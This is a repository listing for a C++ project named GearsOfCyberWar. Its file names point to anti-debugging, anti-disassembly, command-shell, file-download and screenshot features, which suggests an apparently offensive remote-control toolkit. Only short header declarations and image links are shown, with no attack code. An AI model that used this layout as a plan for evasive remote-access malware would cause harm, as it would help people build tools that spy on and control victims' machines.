├── GearsOfCyberWar ├── res │ ├── country │ │ ├── index.php │ │ ├── index.html │ │ ├── a1.gif │ │ ├── a2.gif │ │ ├── ad.gif │ │ ├── ae.gif │ │ ├── af.gif │ │ ├── ag.gif │ │ ├── ai.gif │ │ ├── al.gif │ │ ├── am.gif │ │ ├── an.gif │ │ ├── ao.gif │ │ ├── ap.gif │ │ ├── ar.gif │ │ ├── as.gif │ │ ├── at.gif │ │ ├── au.gif │ │ ├── aw.gif │ │ ├── ax.gif │ │ ├── az.gif │ │ ├── ba.gif │ │ ├── bb.gif │ │ ├── bd.gif │ │ ├── be.gif │ │ ├── bf.gif │ │ ├── bg.gif │ │ ├── bh.gif │ │ ├── bi.gif │ │ ├── bj.gif │ │ ├── bm.gif │ │ ├── bn.gif │ │ ├── bo.gif │ │ ├── br.gif │ │ ├── bs.gif │ │ ├── bt.gif │ │ ├── bv.gif │ │ ├── bw.gif │ │ ├── by.gif │ │ ├── bz.gif │ │ ├── ca.gif │ │ ├── cc.gif │ │ ├── cd.gif │ │ ├── cf.gif │ │ ├── cg.gif │ │ ├── ch.gif │ │ ├── ci.gif │ │ ├── ck.gif │ │ ├── cl.gif │ │ ├── cm.gif │ │ ├── cn.gif │ │ ├── co.gif │ │ ├── cr.gif │ │ ├── cs.gif │ │ ├── cu.gif │ │ ├── cv.gif │ │ ├── cx.gif │ │ ├── cy.gif │ │ ├── cz.gif │ │ ├── de.gif │ │ ├── dj.gif │ │ ├── dk.gif │ │ ├── dm.gif │ │ ├── do.gif │ │ ├── dz.gif │ │ ├── ec.gif │ │ ├── ee.gif │ │ ├── eg.gif │ │ ├── eh.gif │ │ ├── er.gif │ │ ├── es.gif │ │ ├── et.gif │ │ ├── eu.gif │ │ ├── fam.gif │ │ ├── fi.gif │ │ ├── fj.gif │ │ ├── fk.gif │ │ ├── fm.gif │ │ ├── fo.gif │ │ ├── fr.gif │ │ ├── ga.gif │ │ ├── gb.gif │ │ ├── gd.gif │ │ ├── ge.gif │ │ ├── gf.gif │ │ ├── gh.gif │ │ ├── gi.gif │ │ ├── gl.gif │ │ ├── gm.gif │ │ ├── gn.gif │ │ ├── gp.gif │ │ ├── gq.gif │ │ ├── gr.gif │ │ ├── gs.gif │ │ ├── gt.gif │ │ ├── gu.gif │ │ ├── gw.gif │ │ ├── gy.gif │ │ ├── hk.gif │ │ ├── hm.gif │ │ ├── hn.gif │ │ ├── hr.gif │ │ ├── ht.gif │ │ ├── hu.gif │ │ ├── id.gif │ │ ├── ie.gif │ │ ├── il.gif │ │ ├── in.gif │ │ ├── io.gif │ │ ├── iq.gif │ │ ├── ir.gif │ │ ├── is.gif │ │ ├── it.gif │ │ ├── jm.gif │ │ ├── jo.gif │ │ ├── jp.gif │ │ ├── ke.gif │ │ ├── kg.gif │ │ ├── kh.gif │ │ ├── ki.gif │ │ ├── km.gif │ │ ├── kn.gif │ │ ├── kp.gif │ │ ├── kr.gif │ │ ├── kw.gif │ │ ├── ky.gif │ │ ├── kz.gif │ │ ├── la.gif │ │ ├── lb.gif │ │ ├── lc.gif │ │ ├── li.gif │ │ ├── lk.gif │ │ ├── lr.gif │ │ ├── ls.gif │ │ ├── lt.gif │ │ ├── lu.gif │ │ ├── lv.gif │ │ ├── ly.gif │ │ ├── ma.gif │ │ ├── mc.gif │ │ ├── md.gif │ │ ├── me.gif │ │ ├── mg.gif │ │ ├── mh.gif │ │ ├── mk.gif │ │ ├── ml.gif │ │ ├── mm.gif │ │ ├── mn.gif │ │ ├── mo.gif │ │ ├── mp.gif │ │ ├── mq.gif │ │ ├── mr.gif │ │ ├── ms.gif │ │ ├── mt.gif │ │ ├── mu.gif │ │ ├── mv.gif │ │ ├── mw.gif │ │ ├── mx.gif │ │ ├── my.gif │ │ ├── mz.gif │ │ ├── na.gif │ │ ├── nc.gif │ │ ├── ne.gif │ │ ├── nf.gif │ │ ├── ng.gif │ │ ├── ni.gif │ │ ├── nl.gif │ │ ├── no.gif │ │ ├── np.gif │ │ ├── nr.gif │ │ ├── nu.gif │ │ ├── nz.gif │ │ ├── om.gif │ │ ├── pa.gif │ │ ├── pe.gif │ │ ├── pf.gif │ │ ├── pg.gif │ │ ├── ph.gif │ │ ├── pk.gif │ │ ├── pl.gif │ │ ├── pm.gif │ │ ├── pn.gif │ │ ├── pr.gif │ │ ├── ps.gif │ │ ├── pt.gif │ │ ├── pw.gif │ │ ├── py.gif │ │ ├── qa.gif │ │ ├── re.gif │ │ ├── ro.gif │ │ ├── rs.gif │ │ ├── ru.gif │ │ ├── rw.gif │ │ ├── sa.gif │ │ ├── sb.gif │ │ ├── sc.gif │ │ ├── sd.gif │ │ ├── se.gif │ │ ├── sg.gif │ │ ├── sh.gif │ │ ├── si.gif │ │ ├── sj.gif │ │ ├── sk.gif │ │ ├── sl.gif │ │ ├── sm.gif │ │ ├── sn.gif │ │ ├── so.gif │ │ ├── sr.gif │ │ ├── st.gif │ │ ├── sv.gif │ │ ├── sy.gif │ │ ├── sz.gif │ │ ├── tc.gif │ │ ├── td.gif │ │ ├── tf.gif │ │ ├── tg.gif │ │ ├── th.gif │ │ ├── tj.gif │ │ ├── tk.gif │ │ ├── tl.gif │ │ ├── tm.gif │ │ ├── tn.gif │ │ ├── to.gif │ │ ├── tr.gif │ │ ├── tt.gif │ │ ├── tv.gif │ │ ├── tw.gif │ │ ├── tz.gif │ │ ├── ua.gif │ │ ├── ug.gif │ │ ├── uk.gif │ │ ├── um.gif │ │ ├── us.gif │ │ ├── uy.gif │ │ ├── uz.gif │ │ ├── va.gif │ │ ├── vc.gif │ │ ├── ve.gif │ │ ├── vg.gif │ │ ├── vi.gif │ │ ├── vn.gif │ │ ├── vu.gif │ │ ├── wf.gif │ │ ├── ws.gif │ │ ├── xx.gif │ │ ├── ye.gif │ │ ├── yt.gif │ │ ├── za.gif │ │ ├── zm.gif │ │ ├── zw.gif │ │ ├── wales.gif │ │ ├── catalonia.gif │ │ ├── england.gif │ │ ├── scotland.gif │ │ └── europeanunion.gif │ ├── systems │ │ ├── index.html │ │ ├── 2000.gif │ │ ├── 2003.gif │ │ ├── 2008.gif │ │ ├── xp.gif │ │ ├── 2008r2.gif │ │ ├── seven.gif │ │ ├── vista.gif │ │ └── unknown.gif │ ├── actions │ │ ├── time.png │ │ ├── connect.png │ │ ├── download.png │ │ ├── options.png │ │ ├── rte_gears.png │ │ └── disconnect.png │ └── apps │ │ ├── rte_flash.png │ │ ├── rte_html4.png │ │ ├── rte_html5.png │ │ └── rte_silverlight.png ├── src │ ├── Mutex.h │ ├── FileIO.h │ ├── CommandShell.h │ ├── AntiDebugging.h │ ├── RandomGenerator.h │ ├── DownloadFileFromWeb.h │ ├── AntiDebugging.cpp │ ├── SendHttpRequest.h │ ├── EnumerateWindows.cpp │ ├── Mutex.cpp │ ├── RandomGenerator.cpp │ ├── DownloadFileFromWeb.cpp │ ├── AntiDisassembly.cpp │ ├── FileIO.cpp │ ├── SendHttpRequest.cpp │ ├── CommandShell.cpp │ ├── GetProcessList.h │ ├── TakeScreenshot.h │ ├── Base64.h │ ├── XorCrypt.h │ ├── GearsOfCyberWar.cpp │ ├── GetWindowsVersionInfo.h │ ├── XorCrypt.cpp │ ├── GetProcessList.cpp │ ├── TakeScreenshot.cpp │ ├── Base64.cpp │ └── GetWindowsVersionInfo.cpp ├── GearsOfCyberWar.sln ├── GearsOfCyberWar.vcxproj.filters └── GearsOfCyberWar.vcxproj ├── .gitattributes └── .gitignore /GearsOfCyberWar/res/country/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/index.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /GearsOfCyberWar/res/systems/index.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /GearsOfCyberWar/src/Mutex.h: -------------------------------------------------------------------------------- 1 | 2 | int TestMutex(); -------------------------------------------------------------------------------- /GearsOfCyberWar/src/FileIO.h: -------------------------------------------------------------------------------- 1 | int TestFileIO(); 2 | 3 | -------------------------------------------------------------------------------- /GearsOfCyberWar/src/CommandShell.h: -------------------------------------------------------------------------------- 1 | 2 | int TestCommandShell(); -------------------------------------------------------------------------------- /GearsOfCyberWar/src/AntiDebugging.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | bool IsBeingDebugByteSetInPEB(); -------------------------------------------------------------------------------- /GearsOfCyberWar/res/actions/time.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/actions/time.png -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/a1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/a1.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/a2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/a2.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ad.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ad.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ae.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ae.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/af.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/af.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ag.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ag.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ai.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ai.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/al.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/al.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/am.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/am.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/an.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/an.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ao.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ao.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ap.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ap.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ar.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ar.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/as.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/as.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/at.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/at.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/au.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/au.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/aw.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/aw.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ax.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ax.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/az.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/az.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ba.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ba.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bb.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bb.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bd.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bd.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/be.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/be.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bf.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bf.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bg.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bg.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bh.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bh.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bi.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bi.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bj.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bj.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bm.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bm.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bn.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bn.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bo.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/br.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/br.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bs.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bs.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bt.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bt.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bv.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bv.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bw.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bw.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/by.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/by.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/bz.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/bz.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ca.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ca.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cc.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cd.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cd.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cf.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cf.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cg.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cg.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ch.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ch.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ci.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ci.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ck.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ck.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cl.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cl.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cm.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cm.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cn.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cn.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/co.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/co.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cr.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cr.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cs.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cs.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cu.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cu.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cv.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cv.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cx.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cx.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cy.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cy.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/cz.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/cz.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/de.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/de.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/dj.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/dj.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/dk.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/dk.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/dm.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/dm.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/do.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/do.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/dz.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/dz.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ec.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ec.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ee.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ee.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/eg.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/eg.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/eh.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/eh.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/er.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/er.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/es.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/es.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/et.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/et.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/eu.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/eu.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/fam.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/fam.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/fi.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/fi.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/fj.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/fj.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/fk.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/fk.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/fm.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/fm.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/fo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/fo.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/fr.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/fr.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ga.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ga.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gb.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gb.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gd.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gd.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/ge.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/ge.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gf.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gf.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gh.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gh.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gi.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gi.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gl.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gl.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gm.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gm.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gn.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gn.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gp.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gp.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gq.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gq.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gr.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gr.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gs.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gs.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gt.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gt.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gu.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gu.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gw.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gw.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/gy.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/gy.gif -------------------------------------------------------------------------------- /GearsOfCyberWar/res/country/hk.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InfectedPacket/GearsOfCyberWar/HEAD/GearsOfCyberWar/res/country/hk.gif -------------------------------------------------------------------------------- 